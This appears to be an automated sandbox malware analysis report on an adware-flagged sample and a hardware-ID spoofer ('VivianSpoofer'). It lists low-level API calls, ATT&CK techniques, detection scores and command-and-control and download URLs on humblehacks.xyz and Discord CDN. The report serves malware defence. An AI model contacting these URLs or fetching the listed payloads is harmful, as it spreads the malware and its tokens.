Source: C:\Windows\System32\ESCore.exe	NtProtectVirtualMemory: Direct from: 0x140A6ED7A	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	NtQueryInformationProcess: Direct from: 0x140596B03	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	NtProtectVirtualMemory: Direct from: 0x140AD2E3C	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	NtQuerySystemInformation: Direct from: 0x140A412E6	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	NtProtectVirtualMemory: Indirect: 0x14053F2FE	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	NtQueryInformationProcess: Direct from: 0x14058516B
Source: C:\Windows\System32\ESCore.exe	NtQueryInformationProcess: Direct from: 0x140AA1014
Source: C:\Windows\System32\ESCore.exe	NtQueryInformationProcess: Direct from: 0x14057FE3F	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	NtProtectVirtualMemory: Direct from: 0x140592970
Source: C:\Windows\System32\ESCore.exe	NtProtectVirtualMemory: Direct from: 0x140AD680C	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	NtQuerySystemInformation: Direct from: 0x140A6060E
Source: C:\Windows\System32\ESCore.exe	NtProtectVirtualMemory: Direct from: 0x140582B51
Source: C:\Windows\System32\ESCore.exe	NtSetInformationProcess: Direct from: 0x140AB6EF5	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	NtProtectVirtualMemory: Direct from: 0x140A5FACC	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	NtSetInformationThread: Direct from: 0x140A8BF62
Source: C:\Windows\System32\ESCore.exe	NtUnmapViewOfSection: Direct from: 0x1405A0F8D	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	NtProtectVirtualMemory: Direct from: 0x140552BB8	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	NtOpenFile: Direct from: 0x140542763
Source: C:\Windows\System32\ESCore.exe	NtProtectVirtualMemory: Direct from: 0x140A23B22
Source: C:\Windows\System32\ESCore.exe	NtProtectVirtualMemory: Direct from: 0x140581521
Source: C:\Windows\System32\ESCore.exe	NtProtectVirtualMemory: Direct from: 0x140A26E94	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	NtProtectVirtualMemory: Direct from: 0x140597FEB	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	NtSetInformationThread: Direct from: 0x140A370C1	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	NtProtectVirtualMemory: Indirect: 0x140533B3E
Source: C:\Windows\System32\ESCore.exe	NtClose: Indirect: 0x140AA2C2C
Source: C:\Windows\System32\ESCore.exe	NtQueryInformationProcess: Direct from: 0x1409F9CFE	Jump to behavior
Source: C:\Windows\System32\ESCore.exe	NtSetInformationThread: Direct from: 0x140A5ED9A	Jump to behavior

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 5			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\Desktop\VivianSpoofer.exe VivianSpoofer.exe			Jump to behavior

Source: C:\Users\user\Desktop\aYu936prD4.exe	Queries volume information: C:\Users\user\Desktop\aYu936prD4.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Queries volume information: C:\Windows\Fonts\verdana.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Queries volume information: C:\Windows\Fonts\verdanai.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Queries volume information: C:\Windows\Fonts\verdanab.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Queries volume information: C:\Windows\Fonts\verdanaz.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Queries volume information: C:\Windows\Fonts\marlett.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\aYu936prD4.exe	Queries volume information: C:\Windows\Fonts\consola.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Queries volume information: C:\Users\user\Desktop\VivianSpoofer.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Queries volume information: C:\Windows\Fonts\marlett.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Queries volume information: C:\Windows\Fonts\consola.ttf VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\VivianSpoofer.exe	Queries volume information: C:\Windows\Fonts\micross.ttf VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\aYu936prD4.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	2 Windows Management Instrumentation	1 Scripting	11 Process Injection	121 Masquerading	1 Credential API Hooking	621 Security Software Discovery	Remote Services	1 Credential API Hooking	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Bootkit	1 Abuse Elevation Control Mechanism	1 Disable or Modify Tools	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	1 Archive Collected Data	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 DLL Side-Loading	1 DLL Side-Loading	261 Virtualization/Sandbox Evasion	Security Account Manager	261 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	13 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Abuse Elevation Control Mechanism	LSA Secrets	113 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Obfuscated Files or Information	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Bootkit	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 File Deletion	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
aYu936prD4.exe	47%	ReversingLabs	ByteCode-MSIL.Adware.RedCap
aYu936prD4.exe	49%	Virustotal		Browse
aYu936prD4.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Windows\System32\ESCore.exe	100%	Joe Sandbox ML
C:\Users\user\Desktop\UpdatePackage.dat	100%	Joe Sandbox ML

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
https://humblehacks.xyz/Aut.php?auth=11j	0%	Avira URL Cloud	safe
http://grc.comX	0%	Avira URL Cloud	safe
https://humblehacks.xyz/Aut.php?loginname=Vivianware&auth=4&cc=user&req=upd&newhd=NAME%20:%20Usernam	0%	Avira URL Cloud	safe
https://humblehacks.xyz/patch/Vivian/patch.txt	0%	Avira URL Cloud	safe
http://humblehacks.xyz	0%	Avira URL Cloud	safe
http://aia.trustasia.com/ca.cer0	0%	Avira URL Cloud	safe
https://humblehacks.xyz/Aut.php?auth=1&loginname=Vivianware	0%	Avira URL Cloud	safe
http://crl.trustasia.com/ca.crl0;	0%	Avira URL Cloud	safe
https://humblehacks.xyz/Aut.php?auth=1&loginname=	0%	Avira URL Cloud	safe
https://humblehacks.xyz/C	0%	Avira URL Cloud	safe
https://humblehacks.xyz/Aut.php?auth=1&loginname=Vivianwared	0%	Avira URL Cloud	safe
https://humblehacks.xyz	0%	Avira URL Cloud	safe
https://humblehacks.xyz/0	0%	Avira URL Cloud	safe
https://humblehacks.xyz/Aut.php?loginname=Vivianware&auth=4&cc=user&req=upd&newhd=	0%	Avira URL Cloud	safe
https://humblehacks.xyz/7	0%	Avira URL Cloud	safe
https://humblehacks.xyz/patch/Vivian/UpdatePackage.dat	0%	Avira URL Cloud	safe
https://humblehacks.xyz/.%	0%	Avira URL Cloud	safe
https://humblehacks.xyz/Aut.php?loginname=Vivianware&auth=4&cc=user&req=upd&newhd=300	0%	Avira URL Cloud	safe
http://aia.trustasia.com/code.cer0	0%	Avira URL Cloud	safe
https://humblehacks.xyz/Aut.php?auth=1&loginname=Vivianware.~	0%	Avira URL Cloud	safe
https://humblehacks.xyz/patch/	0%	Avira URL Cloud	safe
https://humblehacks.xyz/Aut.php?loginname=Vivianware&auth=4&cc=user&req=upd&newhd=NAME%20:%20Username%20STATE%20:%20Active%20IP%20:%2083.31.140.108%20PRODUCTS%20:%20ken%20:%2023%20GLO10%20:%2020251300%20TOKENS%20:%20kenT%20:%20Token%20GLO10T%20:%20962997-45B26E-A20GLO10SUS_DUR%20:%20N/AHRESETS%20:N/A&oldhd=NAME%20:%20Username%20STATE%20:%20Active%20IP%20:%2083.31.140.108%20PRODUCTS%20:%20GLO10%20:%2020251300%20TOKENS%20:%20GLO10T%20:%20962997-45B26E-A20GLO10%20SUS_DUR%20:%20N/A%20HRESETS%20:%20N/A&nd=Token%20:%20Token%20Period%20:	0%	Avira URL Cloud	safe
https://humblehacks.xyz/Aut.php?loginname=	0%	Avira URL Cloud	safe
https://humblehacks.xyz/:#	0%	Avira URL Cloud	safe
https://humblehacks.xyz/Aut.php?auth=1&loginname=Vivianwarek#	0%	Avira URL Cloud	safe
https://humblehacks.xyz/Aut.php?auth=10	0%	Avira URL Cloud	safe
https://humblehacks.xyz/Aut.php?auth=1&loginname=VivianwareK	0%	Avira URL Cloud	safe
http://crl.trustasia.com/code.crl0=	0%	Avira URL Cloud	safe
https://humblehacks.xyz/Aut.php?auth=119	0%	Avira URL Cloud	safe
https://humblehacks.xyz/	0%	Avira URL Cloud	safe
https://humblehacks.xyz/Aut.php?auth=1&loginname=Ohttps://humblehacks.xyz/Aut.php?auth=10GC:	0%	Avira URL Cloud	safe
https://humblehacks.xyz/B%G	0%	Avira URL Cloud	safe
https://humblehacks.xyz/F%C	0%	Avira URL Cloud	safe
https://humblehacks.xyz/Aut.php?auth=11	0%	Avira URL Cloud	safe
https://humblehacks.xyz/Aut.php?loginname=&uuid=&auth=4&cc=user&req=crt&nd=https://humblehacks.xyz/A	0%	Avira URL Cloud	safe
https://humblehacks.xyz/Aut.php?loginname=Vivianware&auth=4&cc=user&req=upd&newhd=NAME	0%	Avira URL Cloud	safe
https://humblehacks.xyz/P0-P	0%	Avira URL Cloud	safe
https://humblehacks.xyz/N%K	0%	Avira URL Cloud	safe
https://humblehacks.xyz/Aut.php?auth=11c	0%	Avira URL Cloud	safe
https://humblehacks.xyz/l	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
humblehacks.xyz	92.205.3.41	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://humblehacks.xyz/patch/Vivian/patch.txt	true	Avira URL Cloud: safe	unknown
https://humblehacks.xyz/Aut.php?auth=1&loginname=Vivianware	true	Avira URL Cloud: safe	unknown
https://humblehacks.xyz/patch/Vivian/UpdatePackage.dat	true	Avira URL Cloud: safe	unknown
https://humblehacks.xyz/Aut.php?loginname=Vivianware&auth=4&cc=user&req=upd&newhd=NAME%20:%20Username%20STATE%20:%20Active%20IP%20:%2083.31.140.108%20PRODUCTS%20:%20ken%20:%2023%20GLO10%20:%2020251300%20TOKENS%20:%20kenT%20:%20Token%20GLO10T%20:%20962997-45B26E-A20GLO10SUS_DUR%20:%20N/AHRESETS%20:N/A&oldhd=NAME%20:%20Username%20STATE%20:%20Active%20IP%20:%2083.31.140.108%20PRODUCTS%20:%20GLO10%20:%2020251300%20TOKENS%20:%20GLO10T%20:%20962997-45B26E-A20GLO10%20SUS_DUR%20:%20N/A%20HRESETS%20:%20N/A&nd=Token%20:%20Token%20Period%20:	true	Avira URL Cloud: safe	unknown
https://humblehacks.xyz/Aut.php?auth=10	true	Avira URL Cloud: safe	unknown
https://humblehacks.xyz/Aut.php?auth=11	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://crl.trustasia.com/ca.crl0;	aYu936prD4.exe, 00000000.00000002.1743213141.0000021B16DD7000.00000004.00000800.00020000.00000000.sdmp, aYu936prD4.exe, 00000000.00000002.1743213141.0000021B16DC6000.00000004.00000800.00020000.00000000.sdmp, UpdatePackage.dat.0.dr	false	Avira URL Cloud: safe	unknown
http://grc.comX	aYu936prD4.exe, UpdatePackage.dat.0.dr	false	Avira URL Cloud: safe	unknown
https://humblehacks.xyz/Aut.php?loginname=Vivianware&auth=4&cc=user&req=upd&newhd=NAME%20:%20Usernam	ESCore.exe, 00000017.00000003.2104421486.00000000005CD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://humblehacks.xyz/C	ESCore.exe, 00000017.00000002.2105168710.0000000000559000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://humblehacks.xyz/Aut.php?auth=11j	ESCore.exe, 00000017.00000002.2105168710.0000000000559000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.sysinternals.com	VivianSpoofer.exe, 00000011.00000002.2555361754.000002794320C000.00000004.08000000.00040000.00000000.sdmp, aYu936prD4.exe, UpdatePackage.dat.0.dr	false		high
http://aia.trustasia.com/ca.cer0	aYu936prD4.exe, 00000000.00000002.1743213141.0000021B16DD7000.00000004.00000800.00020000.00000000.sdmp, aYu936prD4.exe, 00000000.00000002.1743213141.0000021B16DC6000.00000004.00000800.00020000.00000000.sdmp, UpdatePackage.dat.0.dr	false	Avira URL Cloud: safe	unknown
https://cdn.discordapp.com/attachments/723499233851736134/766737019376238642/amifldrv64.sys	aYu936prD4.exe, UpdatePackage.dat.0.dr	false		high
http://humblehacks.xyz	VivianSpoofer.exe, 00000011.00000002.2524736934.0000027928561000.00000004.00000800.00020000.00000000.sdmp, VivianSpoofer.exe, 00000011.00000002.2524736934.0000027928589000.00000004.00000800.00020000.00000000.sdmp, VivianSpoofer.exe, 00000011.00000002.2524736934.000002792848A000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://humblehacks.xyz/Aut.php?auth=1&loginname=	VivianSpoofer.exe, 00000011.00000002.2524736934.0000027928452000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://humblehacks.xyz/Aut.php?loginname=Vivianware&auth=4&cc=user&req=upd&newhd=	ESCore.exe, 00000017.00000003.2104879928.00000000005CD000.00000004.00000020.00020000.00000000.sdmp, ESCore.exe, 00000017.00000002.2105331719.00000000005CD000.00000004.00000020.00020000.00000000.sdmp, ESCore.exe, 00000017.00000003.2104421486.00000000005CD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://cs-g2-crl.thawte.com/ThawteCSG2.crl0	VivianSpoofer.exe, 00000011.00000002.2555361754.000002794320C000.00000004.08000000.00040000.00000000.sdmp, ESCore.exe, 00000013.00000002.1907544378.0000000140067000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000013.00000002.1907544378.000000014003A000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000017.00000002.2105997875.000000014003A000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000017.00000002.2105997875.0000000140067000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 0000001A.00000002.2205403897.0000000140067000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 0000001A.00000002.2205403897.000000014003A000.00000004.00000001.01000000.0000000C.sdmp, aYu936prD4.exe, UpdatePackage.dat.0.dr	false		high
http://crl.thawte.com/ThawteTimestampingCA.crl0	ESCore.exe, 00000008.00000002.1337598398.000000014001A000.00000002.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000013.00000002.1907516699.000000014001E000.00000002.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000017.00000002.2105977721.000000014001E000.00000002.00000001.01000000.0000000C.sdmp, ESCore.exe, 0000001A.00000002.2205380472.000000014001E000.00000002.00000001.01000000.0000000C.sdmp	false		high
https://humblehacks.xyz	aYu936prD4.exe, 00000000.00000002.1743213141.0000021B16BC8000.00000004.00000800.00020000.00000000.sdmp, VivianSpoofer.exe, 00000011.00000002.2524736934.0000027928589000.00000004.00000800.00020000.00000000.sdmp, VivianSpoofer.exe, 00000011.00000002.2524736934.000002792848A000.00000004.00000800.00020000.00000000.sdmp, VivianSpoofer.exe, 00000011.00000002.2524736934.00000279282C8000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://humblehacks.xyz/Aut.php?auth=1&loginname=Vivianwared	ESCore.exe, 00000017.00000003.2104879928.00000000005CD000.00000004.00000020.00020000.00000000.sdmp, ESCore.exe, 00000017.00000003.2104421486.00000000005CD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://humblehacks.xyz/7	ESCore.exe, 00000017.00000002.2105168710.0000000000559000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://humblehacks.xyz/Aut.php?loginname=Vivianware&auth=4&cc=user&req=upd&newhd=300	ESCore.exe, 00000017.00000003.2104879928.00000000005CD000.00000004.00000020.00020000.00000000.sdmp, ESCore.exe, 00000017.00000002.2105331719.00000000005CD000.00000004.00000020.00020000.00000000.sdmp, ESCore.exe, 00000017.00000003.2104421486.00000000005CD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	aYu936prD4.exe, 00000000.00000002.1743213141.0000021B1724F000.00000004.00000800.00020000.00000000.sdmp, aYu936prD4.exe, 00000000.00000002.1743213141.0000021B16BC8000.00000004.00000800.00020000.00000000.sdmp, VivianSpoofer.exe, 00000011.00000002.2524736934.00000279282C8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://humblehacks.xyz/0	ESCore.exe, 00000017.00000003.2104879928.00000000005CD000.00000004.00000020.00020000.00000000.sdmp, ESCore.exe, 00000017.00000002.2105331719.00000000005CD000.00000004.00000020.00020000.00000000.sdmp, ESCore.exe, 00000017.00000003.2104421486.00000000005CD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://aia.trustasia.com/code.cer0	aYu936prD4.exe, 00000000.00000002.1743213141.0000021B16DD7000.00000004.00000800.00020000.00000000.sdmp, aYu936prD4.exe, 00000000.00000002.1743213141.0000021B16DC6000.00000004.00000800.00020000.00000000.sdmp, UpdatePackage.dat.0.dr	false	Avira URL Cloud: safe	unknown
https://humblehacks.xyz/.%	ESCore.exe, 00000017.00000003.2104879928.00000000005CD000.00000004.00000020.00020000.00000000.sdmp, ESCore.exe, 00000017.00000002.2105331719.00000000005CD000.00000004.00000020.00020000.00000000.sdmp, ESCore.exe, 00000017.00000003.2104421486.00000000005CD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://humblehacks.xyz/Aut.php?auth=1&loginname=Vivianware.~	ESCore.exe, 00000017.00000002.2105168710.0000000000580000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://humblehacks.xyz/patch/	aYu936prD4.exe, UpdatePackage.dat.0.dr	false	Avira URL Cloud: safe	unknown
https://www.GRC.com/inspectre.htmD	aYu936prD4.exe, UpdatePackage.dat.0.dr	false		high
https://humblehacks.xyz/Aut.php?auth=1&loginname=Vivianwarek#	ESCore.exe, 00000017.00000003.2104879928.00000000005CD000.00000004.00000020.00020000.00000000.sdmp, ESCore.exe, 00000017.00000002.2105331719.00000000005CD000.00000004.00000020.00020000.00000000.sdmp, ESCore.exe, 00000017.00000003.2104421486.00000000005CD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://humblehacks.xyz/Aut.php?loginname=	ESCore.exe, 00000008.00000002.1337598398.000000014001A000.00000002.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000013.00000002.1907516699.000000014001E000.00000002.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000017.00000002.2105977721.000000014001E000.00000002.00000001.01000000.0000000C.sdmp, ESCore.exe, 0000001A.00000002.2205380472.000000014001E000.00000002.00000001.01000000.0000000C.sdmp	false	Avira URL Cloud: safe	unknown
http://ocsp.thawte.com0	ESCore.exe, 00000008.00000002.1337631993.0000000140037000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000008.00000002.1337598398.000000014001A000.00000002.00000001.01000000.0000000C.sdmp, VivianSpoofer.exe, 00000011.00000002.2555361754.000002794320C000.00000004.08000000.00040000.00000000.sdmp, ESCore.exe, 00000013.00000002.1907544378.0000000140067000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000013.00000002.1907516699.000000014001E000.00000002.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000013.00000002.1907544378.000000014003A000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000017.00000002.2105997875.000000014003A000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000017.00000002.2105977721.000000014001E000.00000002.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000017.00000002.2105997875.0000000140067000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 0000001A.00000002.2205403897.0000000140067000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 0000001A.00000002.2205380472.000000014001E000.00000002.00000001.01000000.0000000C.sdmp, ESCore.exe, 0000001A.00000002.2205403897.000000014003A000.00000004.00000001.01000000.0000000C.sdmp, aYu936prD4.exe, UpdatePackage.dat.0.dr	false		high
https://humblehacks.xyz/:#	ESCore.exe, 00000017.00000003.2104879928.00000000005CD000.00000004.00000020.00020000.00000000.sdmp, ESCore.exe, 00000017.00000002.2105331719.00000000005CD000.00000004.00000020.00020000.00000000.sdmp, ESCore.exe, 00000017.00000003.2104421486.00000000005CD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.discordapp.com/attachments/723499233851736134/766737019405074472/AMIDEWINx64.EXE	aYu936prD4.exe, UpdatePackage.dat.0.dr	false		high
https://humblehacks.xyz/Aut.php?auth=1&loginname=VivianwareK	ESCore.exe, 00000017.00000003.2104879928.00000000005CD000.00000004.00000020.00020000.00000000.sdmp, ESCore.exe, 00000017.00000002.2105331719.00000000005CD000.00000004.00000020.00020000.00000000.sdmp, ESCore.exe, 00000017.00000003.2104421486.00000000005CD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.trustasia.com/code.crl0=	aYu936prD4.exe, 00000000.00000002.1743213141.0000021B16DD7000.00000004.00000800.00020000.00000000.sdmp, aYu936prD4.exe, 00000000.00000002.1743213141.0000021B16DC6000.00000004.00000800.00020000.00000000.sdmp, UpdatePackage.dat.0.dr	false	Avira URL Cloud: safe	unknown
https://humblehacks.xyz/Aut.php?auth=119	ESCore.exe, 00000017.00000002.2105168710.0000000000511000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://humblehacks.xyz/	ESCore.exe, 00000017.00000003.2104421486.00000000005CD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://humblehacks.xyz/Aut.php?auth=1&loginname=Ohttps://humblehacks.xyz/Aut.php?auth=10GC:	aYu936prD4.exe, UpdatePackage.dat.0.dr	false	Avira URL Cloud: safe	unknown
https://humblehacks.xyz/B%G	ESCore.exe, 00000017.00000003.2104879928.00000000005CD000.00000004.00000020.00020000.00000000.sdmp, ESCore.exe, 00000017.00000002.2105331719.00000000005CD000.00000004.00000020.00020000.00000000.sdmp, ESCore.exe, 00000017.00000003.2104421486.00000000005CD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://humblehacks.xyz/F%C	ESCore.exe, 00000017.00000003.2104879928.00000000005CD000.00000004.00000020.00020000.00000000.sdmp, ESCore.exe, 00000017.00000002.2105331719.00000000005CD000.00000004.00000020.00020000.00000000.sdmp, ESCore.exe, 00000017.00000003.2104421486.00000000005CD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.thawte.com/cps0/	ESCore.exe, 00000008.00000002.1337631993.0000000140037000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000013.00000002.1907544378.0000000140067000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000013.00000002.1907544378.000000014003A000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000017.00000002.2105997875.000000014003A000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000017.00000002.2105997875.0000000140067000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 0000001A.00000002.2205403897.0000000140067000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 0000001A.00000002.2205403897.000000014003A000.00000004.00000001.01000000.0000000C.sdmp	false		high
http://crl.thawte.com/ThawtePCA.crl0	ESCore.exe, 00000008.00000002.1337631993.0000000140037000.00000004.00000001.01000000.0000000C.sdmp, VivianSpoofer.exe, 00000011.00000002.2555361754.000002794320C000.00000004.08000000.00040000.00000000.sdmp, ESCore.exe, 00000013.00000002.1907544378.0000000140067000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000013.00000002.1907544378.000000014003A000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000017.00000002.2105997875.000000014003A000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000017.00000002.2105997875.0000000140067000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 0000001A.00000002.2205403897.0000000140067000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 0000001A.00000002.2205403897.000000014003A000.00000004.00000001.01000000.0000000C.sdmp, aYu936prD4.exe, UpdatePackage.dat.0.dr	false		high
https://humblehacks.xyz/Aut.php?loginname=&uuid=&auth=4&cc=user&req=crt&nd=https://humblehacks.xyz/A	ESCore.exe, 00000008.00000002.1337598398.000000014001A000.00000002.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000013.00000002.1907516699.000000014001E000.00000002.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000017.00000002.2105977721.000000014001E000.00000002.00000001.01000000.0000000C.sdmp, ESCore.exe, 0000001A.00000002.2205380472.000000014001E000.00000002.00000001.01000000.0000000C.sdmp	false	Avira URL Cloud: safe	unknown
https://www.thawte.com/repository0W	ESCore.exe, 00000008.00000002.1337631993.0000000140037000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000013.00000002.1907544378.0000000140067000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000013.00000002.1907544378.000000014003A000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000017.00000002.2105997875.000000014003A000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 00000017.00000002.2105997875.0000000140067000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 0000001A.00000002.2205403897.0000000140067000.00000004.00000001.01000000.0000000C.sdmp, ESCore.exe, 0000001A.00000002.2205403897.000000014003A000.00000004.00000001.01000000.0000000C.sdmp	false		high
https://cdn.discordapp.com/attachments/723499233851736134/766737019376238642/amifldrv64.sysC:	aYu936prD4.exe, UpdatePackage.dat.0.dr	false		high
https://humblehacks.xyz/P0-P	ESCore.exe, 00000017.00000003.2104879928.00000000005CD000.00000004.00000020.00020000.00000000.sdmp, ESCore.exe, 00000017.00000002.2105331719.00000000005CD000.00000004.00000020.00020000.00000000.sdmp, ESCore.exe, 00000017.00000003.2104421486.00000000005CD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://humblehacks.xyz/Aut.php?loginname=Vivianware&auth=4&cc=user&req=upd&newhd=NAME	ESCore.exe, 00000017.00000003.2104879928.00000000005CD000.00000004.00000020.00020000.00000000.sdmp, ESCore.exe, 00000017.00000002.2105331719.00000000005CD000.00000004.00000020.00020000.00000000.sdmp, ESCore.exe, 00000017.00000003.2104421486.00000000005CD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
